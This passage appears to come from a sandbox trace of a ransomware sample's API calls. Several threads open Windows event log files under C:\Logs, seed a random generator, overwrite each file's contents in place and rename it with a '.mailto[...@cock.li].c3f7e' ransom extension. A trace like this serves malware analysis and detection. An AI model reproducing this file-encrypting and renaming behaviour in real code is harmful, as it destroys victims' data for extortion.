	[0081.309] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4e32510
	[0081.309] NtSetInformationFile (FileHandle=0x99c, IoStatusBlock=0x11abf804, FileInformation=0x4e32510, Length=0xe0, FileInformationClass=0xa) returned 0x0
	[0087.760] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32510) returned 1
	[0087.760] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4772d70) returned 1
	[0087.760] NtQueryInformationFile (in: FileHandle=0x99c, IoStatusBlock=0x11abf818, FileInformation=0x11abf7f0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x11abf818, FileInformation=0x11abf7f0) returned 0x0
	[0087.760] NtSetInformationFile (FileHandle=0x99c, IoStatusBlock=0x11abf818, FileInformation=0x11abf7f0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.763] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46a52a8) returned 1
	[0087.763] FlushFileBuffers (hFile=0x99c) returned 1
	[0092.861] CloseHandle (hObject=0x99c) 

Thread:
	id = 437
	os_tid = 0x15fc

	[0076.971] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 0x20
	[0080.468] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0080.469] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9c8
	[0080.469] GetFileSizeEx (in: hFile=0x9c8, lpFileSize=0x11b3fef4 | out: lpFileSize=0x11b3fef4*=69632) returned 1
	[0080.469] SetFilePointerEx (in: hFile=0x9c8, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.469] ReadFile (in: hFile=0x9c8, lpBuffer=0x11b3fe78, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11b3fe74, lpOverlapped=0x0 | out: lpBuffer=0x11b3fe78*, lpNumberOfBytesRead=0x11b3fe74*=0x4, lpOverlapped=0x0) returned 1
	[0080.830] SetFilePointerEx (in: hFile=0x9c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.830] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e344d8
	[0080.830] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34208
	[0080.830] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340a0
	[0080.830] NtQuerySystemTime (in: CurrentTime=0x11b3fe54 | out: CurrentTime=0x11b3fe54*=132251868075619212) returned 0x0
	[0080.830] RtlRandom (in: Seed=0x11b3fe60 | out: Seed=0x11b3fe60) returned 0x40b14ffe
	[0080.830] RtlRandom (in: Seed=0x11b3fe60 | out: Seed=0x11b3fe60) returned 0x1de76185
	[0080.830] RtlRandom (in: Seed=0x11b3fe60 | out: Seed=0x11b3fe60) returned 0x5a7f1af9
	[0080.830] RtlRandom (in: Seed=0x11b3fe60 | out: Seed=0x11b3fe60) returned 0xb3457082
	[0080.830] RtlRandom (in: Seed=0x11b3fe60 | out: Seed=0x11b3fe60) returned 0xcfd40dc
	[0080.830] RtlRandom (in: Seed=0x11b3fe60 | out: Seed=0x11b3fe60) returned 0xcd5bd4f1
	[0080.830] RtlRandom (in: Seed=0x11b3fe60 | out: Seed=0x11b3fe60) returned 0x7957d3ed
	[0080.830] RtlRandom (in: Seed=0x11b3fe60 | out: Seed=0x11b3fe60) returned 0xa8877882
	[0080.830] RtlRandom (in: Seed=0x11b3fe60 | out: Seed=0x11b3fe60) returned 0x6556f4f5
	[0080.830] RtlRandom (in: Seed=0x11b3fe60 | out: Seed=0x11b3fe60) returned 0x699f4233
	[0080.830] RtlRandom (in: Seed=0x11b3fe60 | out: Seed=0x11b3fe60) returned 0xfd76e1d8
	[0080.830] RtlRandom (in: Seed=0x11b3fe60 | out: Seed=0x11b3fe60) returned 0x99558cf
	[0080.830] RtlRandom (in: Seed=0x11b3fe60 | out: Seed=0x11b3fe60) returned 0xbda52962
	[0080.830] RtlRandom (in: Seed=0x11b3fe60 | out: Seed=0x11b3fe60) returned 0x8c5f0c8a
	[0080.830] RtlRandom (in: Seed=0x11b3fe60 | out: Seed=0x11b3fe60) returned 0xcd1ddd5e
	[0080.830] RtlRandom (in: Seed=0x11b3fe60 | out: Seed=0x11b3fe60) returned 0x25fcb865
	[0080.830] RtlRandom (in: Seed=0x11b3fe60 | out: Seed=0x11b3fe60) returned 0xcf92686b
	[0080.830] RtlRandom (in: Seed=0x11b3fe60 | out: Seed=0x11b3fe60) returned 0x5586c745
	[0080.830] RtlRandom (in: Seed=0x11b3fe60 | out: Seed=0x11b3fe60) returned 0x7f4d3c34
	[0080.830] RtlRandom (in: Seed=0x11b3fe60 | out: Seed=0x11b3fe60) returned 0x5d7ecda
	[0080.830] RtlRandom (in: Seed=0x11b3fe60 | out: Seed=0x11b3fe60) returned 0x3134870b
	[0080.830] RtlRandom (in: Seed=0x11b3fe60 | out: Seed=0x11b3fe60) returned 0x1f9c0dd9
	[0080.830] RtlRandom (in: Seed=0x11b3fe60 | out: Seed=0x11b3fe60) returned 0x770cc904
	[0080.830] RtlRandom (in: Seed=0x11b3fe60 | out: Seed=0x11b3fe60) returned 0x9e94891e
	[0080.830] RtlRandom (in: Seed=0x11b3fe60 | out: Seed=0x11b3fe60) returned 0x213eb24c
	[0080.830] RtlRandom (in: Seed=0x11b3fe60 | out: Seed=0x11b3fe60) returned 0x425a0ce8
	[0080.830] RtlRandom (in: Seed=0x11b3fe60 | out: Seed=0x11b3fe60) returned 0xed30fce9
	[0080.831] RtlRandom (in: Seed=0x11b3fe60 | out: Seed=0x11b3fe60) returned 0xf011b8a3
	[0080.831] RtlRandom (in: Seed=0x11b3fe60 | out: Seed=0x11b3fe60) returned 0x97446b54
	[0080.831] RtlRandom (in: Seed=0x11b3fe60 | out: Seed=0x11b3fe60) returned 0xa5b65db9
	[0080.831] RtlRandom (in: Seed=0x11b3fe60 | out: Seed=0x11b3fe60) returned 0xf3fefbf9
	[0080.831] RtlRandom (in: Seed=0x11b3fe60 | out: Seed=0x11b3fe60) returned 0x726b13e0
	[0080.845] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34028
	[0080.846] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.846] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e342d0
	[0080.847] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.847] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340a0) returned 1
	[0080.847] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e344d8) returned 1
	[0080.847] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48ee840
	[0080.850] SetFilePointerEx (in: hFile=0x9c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.850] ReadFile (in: hFile=0x9c8, lpBuffer=0x48ee840, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x11b3fe34, lpOverlapped=0x0 | out: lpBuffer=0x48ee840*, lpNumberOfBytesRead=0x11b3fe34*=0xc800, lpOverlapped=0x0) returned 1
	[0081.094] SetFilePointerEx (in: hFile=0x9c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.094] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa7c0
	[0081.094] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754010
	[0081.094] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.094] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.095] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4facfe0
	[0081.098] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33b90
	[0081.098] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33bb8
	[0081.098] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33bb8) returned 1
	[0081.098] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754010) returned 1
	[0081.098] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa7c0) returned 1
	[0081.098] WriteFile (in: hFile=0x9c8, lpBuffer=0x4facfe0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x11b3fe34, lpOverlapped=0x0 | out: lpBuffer=0x4facfe0*, lpNumberOfBytesWritten=0x11b3fe34*=0xc800, lpOverlapped=0x0) returned 1
	[0084.704] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4facfe0) returned 1
	[0084.723] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48ee840) returned 1
	[0084.726] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x61) returned 0x47ec9d0
	[0084.726] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e342f8) returned 1
	[0084.726] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x61) returned 0x47ecd50
	[0084.726] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34460
	[0084.726] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e342f8
	[0084.726] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e342f8) returned 1
	[0084.727] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0084.727] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0084.727] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x145) returned 0x2d5c040
	[0084.727] SetFilePointerEx (in: hFile=0x9c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.727] WriteFile (in: hFile=0x9c8, lpBuffer=0x2d5c040*, nNumberOfBytesToWrite=0x145, lpNumberOfBytesWritten=0x11b3feb4, lpOverlapped=0x0 | out: lpBuffer=0x2d5c040*, lpNumberOfBytesWritten=0x11b3feb4*=0x145, lpOverlapped=0x0) returned 1
	[0084.738] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5c040) returned 1
	[0084.738] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ecd50) returned 1
	[0084.738] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34460) returned 1
	[0084.738] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ec9d0) returned 1
	[0084.739] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33b90) returned 1
	[0084.739] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34208) returned 1
	[0084.739] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34028) returned 1
	[0084.739] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e342d0) returned 1
	[0084.739] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x481a478
	[0084.739] wcscpy (in: _Dest=0x481a478, _Source="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx"
	[0084.739] wcscat (in: _Dest=0x481a478, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0084.739] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x11b3fe6c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.739] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47192c0
	[0084.739] NtSetInformationFile (FileHandle=0x9c8, IoStatusBlock=0x11b3fe64, FileInformation=0x47192c0, Length=0xc2, FileInformationClass=0xa) returned 0x0
	[0087.784] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47192c0) returned 1
	[0087.784] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2daa0) returned 1
	[0087.784] NtQueryInformationFile (in: FileHandle=0x9c8, IoStatusBlock=0x11b3fe78, FileInformation=0x11b3fe50, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x11b3fe78, FileInformation=0x11b3fe50) returned 0x0
	[0087.784] NtSetInformationFile (FileHandle=0x9c8, IoStatusBlock=0x11b3fe78, FileInformation=0x11b3fe50, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.795] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481a478) returned 1
	[0087.795] FlushFileBuffers (hFile=0x9c8) returned 1
	[0092.888] CloseHandle (hObject=0x9c8) 

Thread:
	id = 438
	os_tid = 0x1600

	[0076.972] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 0x20
	[0080.470] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0080.470] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9c4
	[0080.470] GetFileSizeEx (in: hFile=0x9c4, lpFileSize=0x11bbfc30 | out: lpFileSize=0x11bbfc30*=69632) returned 1
	[0080.470] SetFilePointerEx (in: hFile=0x9c4, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.470] ReadFile (in: hFile=0x9c4, lpBuffer=0x11bbfbb4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11bbfbb0, lpOverlapped=0x0 | out: lpBuffer=0x11bbfbb4*, lpNumberOfBytesRead=0x11bbfbb0*=0x4, lpOverlapped=0x0) returned 1
	[0080.817] SetFilePointerEx (in: hFile=0x9c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.817] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e344d8
	[0080.817] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34000
	[0080.817] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34028
	[0080.817] NtQuerySystemTime (in: CurrentTime=0x11bbfb90 | out: CurrentTime=0x11bbfb90*=132251868075463128) returned 0x0
	[0080.817] RtlRandom (in: Seed=0x11bbfb9c | out: Seed=0x11bbfb9c) returned 0x3f3c472e
	[0080.817] RtlRandom (in: Seed=0x11bbfb9c | out: Seed=0x11bbfb9c) returned 0x985e94a0
	[0080.817] RtlRandom (in: Seed=0x11bbfb9c | out: Seed=0x11bbfb9c) returned 0x97f87535
	[0080.818] RtlRandom (in: Seed=0x11bbfb9c | out: Seed=0x11bbfb9c) returned 0xe520a2ae
	[0080.818] RtlRandom (in: Seed=0x11bbfb9c | out: Seed=0x11bbfb9c) returned 0xcbf6da01
	[0080.818] RtlRandom (in: Seed=0x11bbfb9c | out: Seed=0x11bbfb9c) returned 0x6ade98da
	[0080.818] RtlRandom (in: Seed=0x11bbfb9c | out: Seed=0x11bbfb9c) returned 0xf3f8abcd
	[0080.818] RtlRandom (in: Seed=0x11bbfb9c | out: Seed=0x11bbfb9c) returned 0xc00395b9
	[0080.818] RtlRandom (in: Seed=0x11bbfb9c | out: Seed=0x11bbfb9c) returned 0xa928b3bc
	[0080.818] RtlRandom (in: Seed=0x11bbfb9c | out: Seed=0x11bbfb9c) returned 0x854a814d
	[0080.818] RtlRandom (in: Seed=0x11bbfb9c | out: Seed=0x11bbfb9c) returned 0x7133f89e
	[0080.818] RtlRandom (in: Seed=0x11bbfb9c | out: Seed=0x11bbfb9c) returned 0x7326a9eb
	[0080.818] RtlRandom (in: Seed=0x11bbfb9c | out: Seed=0x11bbfb9c) returned 0x6890d50
	[0080.818] RtlRandom (in: Seed=0x11bbfb9c | out: Seed=0x11bbfb9c) returned 0xb9d5a9e9
	[0080.818] RtlRandom (in: Seed=0x11bbfb9c | out: Seed=0x11bbfb9c) returned 0x2038629
	[0080.818] RtlRandom (in: Seed=0x11bbfb9c | out: Seed=0x11bbfb9c) returned 0x3169b068
	[0080.818] RtlRandom (in: Seed=0x11bbfb9c | out: Seed=0x11bbfb9c) returned 0x70944958
	[0080.818] RtlRandom (in: Seed=0x11bbfb9c | out: Seed=0x11bbfb9c) returned 0xc27bced0
	[0080.818] RtlRandom (in: Seed=0x11bbfb9c | out: Seed=0x11bbfb9c) returned 0x5d1fd6e7
	[0080.818] RtlRandom (in: Seed=0x11bbfb9c | out: Seed=0x11bbfb9c) returned 0xb37ff5cb
	[0080.818] RtlRandom (in: Seed=0x11bbfb9c | out: Seed=0x11bbfb9c) returned 0x96ffbc08
	[0080.818] RtlRandom (in: Seed=0x11bbfb9c | out: Seed=0x11bbfb9c) returned 0x88e1c8ea
	[0080.818] RtlRandom (in: Seed=0x11bbfb9c | out: Seed=0x11bbfb9c) returned 0xd0abde60
	[0080.818] RtlRandom (in: Seed=0x11bbfb9c | out: Seed=0x11bbfb9c) returned 0x5c7308ac
	[0080.818] RtlRandom (in: Seed=0x11bbfb9c | out: Seed=0x11bbfb9c) returned 0xa486c4a3
	[0080.818] RtlRandom (in: Seed=0x11bbfb9c | out: Seed=0x11bbfb9c) returned 0x6b837a02
	[0080.818] RtlRandom (in: Seed=0x11bbfb9c | out: Seed=0x11bbfb9c) returned 0x2a1234db
	[0080.818] RtlRandom (in: Seed=0x11bbfb9c | out: Seed=0x11bbfb9c) returned 0x714a6505
	[0080.818] RtlRandom (in: Seed=0x11bbfb9c | out: Seed=0x11bbfb9c) returned 0x7b891887
	[0080.818] RtlRandom (in: Seed=0x11bbfb9c | out: Seed=0x11bbfb9c) returned 0xd4553498
	[0080.818] RtlRandom (in: Seed=0x11bbfb9c | out: Seed=0x11bbfb9c) returned 0x277708b1
	[0080.818] RtlRandom (in: Seed=0x11bbfb9c | out: Seed=0x11bbfb9c) returned 0x751afef6
	[0080.825] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34050
	[0080.827] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.827] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e341e0
	[0080.827] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.827] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34028) returned 1
	[0080.827] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e344d8) returned 1
	[0080.827] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48e2038
	[0080.829] SetFilePointerEx (in: hFile=0x9c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.829] ReadFile (in: hFile=0x9c4, lpBuffer=0x48e2038, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x11bbfb70, lpOverlapped=0x0 | out: lpBuffer=0x48e2038*, lpNumberOfBytesRead=0x11bbfb70*=0xc800, lpOverlapped=0x0) returned 1
	[0081.089] SetFilePointerEx (in: hFile=0x9c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.089] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.089] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753890
	[0081.089] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33b68
	[0081.089] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33b68) returned 1
	[0081.090] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fa07d8
	[0081.093] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33b68
	[0081.093] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337d0
	[0081.093] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337d0) returned 1
	[0081.093] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753890) returned 1
	[0081.093] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.093] WriteFile (in: hFile=0x9c4, lpBuffer=0x4fa07d8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x11bbfb70, lpOverlapped=0x0 | out: lpBuffer=0x4fa07d8*, lpNumberOfBytesWritten=0x11bbfb70*=0xc800, lpOverlapped=0x0) returned 1
	[0081.232] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fa07d8) returned 1
	[0081.232] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48e2038) returned 1
	[0081.232] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x75) returned 0x47bd390
	[0081.232] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa808
	[0081.232] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04630
	[0081.232] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e60
	[0081.232] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e60) returned 1
	[0081.233] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x75) returned 0x47bd490
	[0081.233] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d98
	[0081.233] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33cd0
	[0081.233] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33cd0) returned 1
	[0081.233] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.233] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa808) returned 1
	[0081.233] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x159) returned 0x4734760
	[0081.233] SetFilePointerEx (in: hFile=0x9c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.233] WriteFile (in: hFile=0x9c4, lpBuffer=0x4734760*, nNumberOfBytesToWrite=0x159, lpNumberOfBytesWritten=0x11bbfbf0, lpOverlapped=0x0 | out: lpBuffer=0x4734760*, lpNumberOfBytesWritten=0x11bbfbf0*=0x159, lpOverlapped=0x0) returned 1
	[0081.309] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734760) returned 1
	[0081.309] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bd490) returned 1
	[0081.309] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d98) returned 1
	[0081.309] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bd390) returned 1
	[0081.309] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33b68) returned 1
	[0081.309] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34000) returned 1
	[0081.309] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34050) returned 1
	[0081.309] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e341e0) returned 1
	[0081.309] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x476c220
	[0081.309] wcscpy (in: _Dest=0x476c220, _Source="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx"
	[0081.309] wcscat (in: _Dest=0x476c220, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.309] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x11bbfba8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.309] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x4772750
	[0081.310] NtSetInformationFile (FileHandle=0x9c4, IoStatusBlock=0x11bbfba0, FileInformation=0x4772750, Length=0xd6, FileInformationClass=0xa) returned 0x0
	[0087.761] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4772750) returned 1
	[0087.761] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4717e70) returned 1
	[0087.761] NtQueryInformationFile (in: FileHandle=0x9c4, IoStatusBlock=0x11bbfbb4, FileInformation=0x11bbfb8c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x11bbfbb4, FileInformation=0x11bbfb8c) returned 0x0
	[0087.761] NtSetInformationFile (FileHandle=0x9c4, IoStatusBlock=0x11bbfbb4, FileInformation=0x11bbfb8c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.765] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476c220) returned 1
	[0087.765] FlushFileBuffers (hFile=0x9c4) returned 1
	[0092.862] CloseHandle (hObject=0x9c4) 

Thread:
	id = 439
	os_tid = 0x1604

	[0076.972] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 0x20
	[0080.467] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx", dwFileAttributes=0x20) returned 1
